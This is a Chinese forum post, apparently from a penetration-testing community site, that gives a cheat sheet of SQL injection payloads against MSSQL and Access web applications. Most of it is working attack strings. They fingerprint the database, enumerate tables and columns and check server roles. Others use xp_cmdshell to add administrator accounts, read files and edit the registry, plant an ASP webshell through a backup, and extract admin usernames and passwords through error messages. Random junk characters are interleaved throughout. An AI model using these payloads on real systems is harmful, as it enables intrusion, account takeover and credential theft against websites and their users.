中国网络渗透测试联盟

标题: SQL注入常用语句 [打印本页]

作者: admin    时间: 2012-9-15 14:31
标题: SQL注入常用语句
1.判断是否有注入
1 `9 i' e* H- Z;and 1=1
8 `( }' g/ w# O9 E; |+ C, W( s" Y;and 1=2
) [3 }! M' U& W# D) a. i% ?1 v+ `6 ^  G. j* |2 S+ p3 f- p
2.初步判断是否是mssql
. i/ ^( t) I6 ?3 J) O- t7 U6 ~/ A;and user>0
1 t- \' q! ^3 Y
0 F3 ^* |8 E0 h# z: [3 @. s$ p3.判断数据库系统
3 Z7 k/ m% b, N2 T;and (select count(*) from sysobjects)>0 mssql 2 @  G: H7 }% d8 [9 C4 C
;and (select count(*) from msysobjects)>0 access ! w4 o3 v8 z- w' `( r1 X: x
' o  I2 d; v# z7 P5 L
4.注入参数是字符 1 X7 k& _# N3 T9 L0 d" E' f
'and [查询条件] and ''=' 7 H+ z' G, M7 m' P5 V, r0 l- X
- [+ [: B' m# q$ L( A0 r* U7 R/ W
5.搜索时没过滤参数的
- [2 t# [- s, Z( d) i$ q# P2 \4 t'and [查询条件] and '%25'='
* ^7 L& b0 L# C1 v' L2 P9 |/ e8 H* H
6.猜数表名
6 i. A/ k* c9 w8 r$ N% Q. G;and (select Count(*) from [表名])>0 7 O$ b: a2 R' [2 T
" \( Z2 a/ o& f4 A0 M8 B/ M: b5 X
7.猜字段
" N  |, B$ b: A! k2 o0 G/ h7 W;and (select Count(字段名) from 表名)>0 % c, j# d  j* X
, M: O* Z% U! u$ x8 d
8.猜字段中记录长度 4 r; q! t) I( X
;and (select top 1 len(字段名) from 表名)>0 / I5 O% u0 t: q
: f; z. e' S+ k( w3 b
9.(1)猜字段的ascii值(access)
. k; E9 I8 Z' ^2 }7 R9 ~/ r! \& s;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
) |+ c# `) w" D' u) `9 O, x$ W
1 h! O. o: @( ]' l' h(2)猜字段的ascii值(mssql)
5 Z( s/ I+ O9 N( f, o: Z;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 9 Y/ B* r- L4 J# U

/ T$ \9 C' F6 A& P# V10.测试权限结构(mssql) . p- Y- Q+ {6 i% e. G
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- " H) K8 d9 i4 F5 {, r: f0 U4 b
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
4 W& E0 L1 R. ~* {% _/ Y6 k2 Q;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ! d) G& _; R; X" R6 m2 r7 ]7 U- M
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
1 q# j# h7 `) H  v) p8 B;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- , t4 l( e2 L3 S( F( u/ }8 k* M+ U
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ; A3 J* g$ }/ t6 W% n+ p
;and 1=(select IS_MEMBER('db_owner'));--
- D9 V' R% V% f+ ~
8 L' s1 B: `7 A: _11.添加mssql和系统的帐户
0 ?( W( @1 E( h- S2 V;exec master.dbo.sp_addlogin username;-- - V) s1 x# t5 s8 }3 R  p- b& \/ T6 i
;exec master.dbo.sp_password null,username,password;--
6 `6 B2 F: }, x' B3 S;exec master.dbo.sp_addsrvrolemember sysadmin username;--
! i" Q  ^; v/ A' o;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
$ ~( g+ x9 l6 l6 Q+ n' b3 ~6 s;exec master.dbo.xp_cmdshell 'net user username password /add';--
/ a* o/ {) w4 J" t+ n4 t( J! A  z6 V% c;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
  E% a$ c' O5 X; l2 w# p; V' H2 z; l2 I% r6 _! s/ Q+ M
12.(1)遍历目录 3 i$ Z2 D; C8 a) X
;create table dirs(paths varchar(100), id int) 4 }, l" _  Y( s6 b$ c
;insert dirs exec master.dbo.xp_dirtree 'c:\' ; H9 W/ Q5 S& E5 q, z7 L7 r  @
;and (select top 1 paths from dirs)>0
* L# h7 z! b2 d; m! `1 m! w;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
2 a, C' E6 A! d* A8 E5 f; V
- c. I) E# g4 h5 _5 n! e(2)遍历目录
$ t4 y* p* d; w;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
4 L* ?" o/ a, ]; P+ {;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ( A2 M& w( M  V( d: }% Z- @
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
; x8 z* g, K  u9 m! Q;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 . B. e/ @: v& H& X4 P( _& Y
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 2 x4 k- p( g! }# u
% W$ d8 }$ y8 z% A5 T& w
13.mssql中的存储过程 7 C. B7 o# s2 h0 ?* c
xp_regenumvalues 注册表根键, 子键
' F6 `5 c1 Y+ z6 d% I& n;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 2 g6 S/ D- `- L) N  y0 h$ g
xp_regread 根键,子键,键值名 & x. ]  O% m6 c6 C7 x
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 6 C, t# A3 q( S- N
xp_regwrite 根键,子键, 值名, 值类型, 值 ( ]5 f* i" r0 H) a& |
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ' s6 q7 {4 O: i: U7 K0 I7 k5 ~& Y
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
/ X: @- x; K( ^6 wxp_regdeletevalue 根键,子键,值名
7 V+ I4 L' M- M3 u8 L# p- z( h4 ~exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值   {, M& V1 C, b
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 5 M2 U9 _" V0 s  w; b

6 W" @" f9 M6 V3 f14.mssql的backup创建webshell
0 c' h6 I; Z- a9 j2 X+ q9 m1 T; puse model " o' U$ Q8 ]5 I1 l- R; Y8 N
create table cmd(str image);   p9 }& [3 s: s2 x4 k
insert into cmd(str) values ('<% Dim oScript %>'); . Z$ B5 ]) `# n$ E/ d
backup database model to disk='c:\l.asp'; 3 f/ R. M: j; ^  y
% M0 y2 O7 O& E. z) q" F
15.mssql内置函数 6 z* `4 L# [/ s- w7 n
;and (select @@version)>0 获得Windows的版本号
8 o" ^2 S5 U) |+ L;and user_name()='dbo' 判断当前系统的连接用户是不是sa
& N" T% T* R4 @5 Q% B;and (select user_name())>0 爆当前系统的连接用户
5 k9 V& L( X( M% F0 t4 r;and (select db_name())>0 得到当前连接的数据库 5 L3 E# G4 W5 Q5 |% f5 ?

* w9 j4 G5 {3 f; G5 ]; b; ^" Z5 f1 h7 D5 g* f9 m% p  ?
* [7 h: _! A' l* k6 T
MSSQL手注暴库
# h7 H  y3 j+ c. S  ^+ S, K# D7 n  }& e% @; i, _
1.暴出当前表名和列名# A7 B* O- p- s. g
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。  P/ y2 g3 k4 x
5 I6 J$ \' ], x6 K) T$ `
第一.爆出所有数据库名) V& x& r1 f3 d
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
" ~+ O: t" T5 k+ |9 R0 a第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。! a, c( ?5 M1 I

$ p) S( Y& F* V' }- X, _and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
& N% K/ Y, }3 S3 P, R" e, E) a8 r8 L' t) H0 y8 C. o- ]4 z  O
- ~! h) ]. H" g' I
第二.爆出指定库中的所有表名  {1 U* w2 T+ Z5 q( A8 X9 ^
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。! b. p7 o% P, q) m* I
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。8 b+ i7 V' }( i6 L  }" P! c
5 }7 j% J% y2 O
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--( H# x( w4 K" l! o. p  d. b* q$ X
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--/ i9 y2 n* m9 ^1 X1 N
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--$ e6 d% m! k* J6 m

# t* h! V  R$ D, j/ S+ R# l% ~, g% y4.爆出指定表中的所有列名0 s  W) x* J' V0 y4 _/ i
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
& \; [  h% @4 _' S//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'+ }2 c! K" y4 W$ X. R5 s
& ~# h1 R; m+ L( ^
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
0 D1 G2 [1 l' q4 [# G! b* U& s0 f6 i# A& K0 C
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
" G( {6 @% ~+ L7 J2 u" D2 \依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。4 h  E1 c2 p& O. c6 `% T
0 r) w, K6 U# L
- p2 T3 p/ j, W- R. R
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值$ o9 G0 ]( y" n2 ?: c+ p2 w

& p( j$ H0 d0 b4 u- |and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
. M; `2 }  x$ T& e0 r, ~. R, g+ H/ I- q0 Z
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
: ?7 l& J4 K. l# @' w0 `
/ V3 i/ o9 v6 @% R6 r! b4 v) }3 c' e1 c: m1 R& h8 f

# y3 y3 g- R8 e4 a7 l5.读取指定表中的数据: s% M9 T+ u& P" ]$ P0 J
  ]5 v) `9 A, x' Q
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
) u* b4 U. m: ^6 z' a+ X  e3 Z% D% g
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--* o% r5 {+ h2 y1 f" I

. x" s8 x# A, s# x5 dand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码* X1 K4 x/ g* P7 |, P

" W( {8 g) ]1 a2 @# X+ J) a5 y" H- H* W$ U7 h
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
( S" p* `; e! o1 a/ T" g0 O% `! U3 V1 \* C: ^1 Q( J
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
: x8 e& y) X  H" T6 D- S! I3 F' C  L' Y2 I7 [9 d
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--8 V. C2 o+ p2 W* r1 U( g
; S0 z- ~: v2 I+ C9 q6 C2 ]5 r; f" W8 x
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
0 g1 W% f0 c' K. p8 x7 d# U. [




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2